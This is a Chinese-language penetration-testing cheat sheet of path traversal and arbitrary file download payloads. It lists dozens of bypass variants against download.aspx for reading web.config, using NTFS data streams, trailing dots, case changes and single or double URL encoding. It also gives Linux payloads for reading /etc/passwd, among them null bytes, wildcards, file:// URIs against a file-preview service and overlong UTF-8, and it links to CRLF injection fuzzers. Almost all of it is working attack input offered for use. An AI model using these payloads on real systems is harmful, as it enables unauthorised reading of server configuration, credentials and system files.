一:windows
默认:
download.aspx?file=haohaoxuexi.doc
download.aspx?file=../web.config
突破文件名:
思路1:download.aspx?file=../web.config::$DATA //数据流
思路2:download.aspx?file=../web.config::$DATA 空格 //数据流+空格
思路3:download.aspx?file=../web.config空格 //空格
思路4:download.aspx?file=../web.config. //加点
思路5:download.aspx?file=../web.coNfig //大小写
思路6:download.aspx?file=C://wwwroot/web/web.config // 网站物理路径、
思路7:download.aspx?file=../web.config\ //反斜杆
突破../ :
思路1:download.aspx?file=..%2Fweb.config // url编码
思路2:download.aspx?file=..%252Fweb.config //uncode编码
思路3:download.aspx?file=.....///web.config
思路4:download.aspx?file=....//....//web.config
思路5:download.aspx?file=..&/....&/web.config
思路6:download.aspx?file=http/.....///.....///web.config
思路7:download.aspx?file=http....web.config
思路8:download.aspx?file=…/./web.config
思路9:download.aspx?file=…/./web.config
download.aspx?file=/%2e%2e%2fweb.config
download.aspx?file=%2f%2e%2e/web.config
download.aspx?file=\%2e%2e%5cweb.config
download.aspx?file=%5c%2e%2e\web.config
download.aspx?file=/%252e%252e%252fweb.config
download.aspx?file=/%252e%252e%255cweb.config
download.aspx?file=./web.config
download.aspx?file=..\web.config
download.aspx?file=.%00./web.config
download.aspx?file=.+./.+./web.config
download.aspx?file=.;./.;./web.config
download.aspx?file=.%./.%./web.config
download.aspx?file=..%5c..%5c/web.config
download.aspx?file=..././..././/web.config
linux:
思路1:download.php?url=../../../etc/passwd%00
思路2:download.php?url=../../../etc/passw?
思路3:/file-preview/getCorsFile?urlPath=file:///etc/passwd
思路4:/file-preview//getCorsFile?urlPath=file:///etc/passwd //突破限制目录
思路5:/file-preview//onlinePreview?url=ZmlsZTovLy91dGMvcGFzc3dkI2EudHhO //base64
思路6:/file-preview//onlinePreview?url=..<details>/..<details>/..<details>etc/passwd
.思路7:..|/..|/..|/..|/..|/..|/..|/..|etc/passwd
思路8:/file-preview//onlinePreview?url=file:///etc/passwd#a.txt
/file-preview//onlinePreview?url=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
通配符还有几种形式
星号符号(*):表示任何字符(包括空字符),可以出现0次、1次或多次。例如:ls *.txt(显示当前目录下所有以 .txt 结尾的文件)
问号符号(?):表示任意单个字符。例如:ls ?.txt(显示当前目录下所有以一个字符开头,以 .txt 结尾的文件)
中括号符号([]):表示中括号内任意一个字符。例如:ls [abc]*(显示当前目录下以 a、b、c 任意一个字母开头的所有文件)
脱字符号(^):表示取反,即除了中括号内的字符以外的任意一个字符。例如:ls [^abc]*(显示当前目录下除了以 a、b、c 任意一个字母开头的所有文件)
另外还有几个设计上的问题:
Crtl注入
几个crtl fuzz 的工具,有兴趣的小伙伴可以自己本地fuzz,大部分waf都存在
https://github.com/dwisiswant0/crlfuzz
https://github.com/Proviesec/crlf-payloads
cat /etc/passw?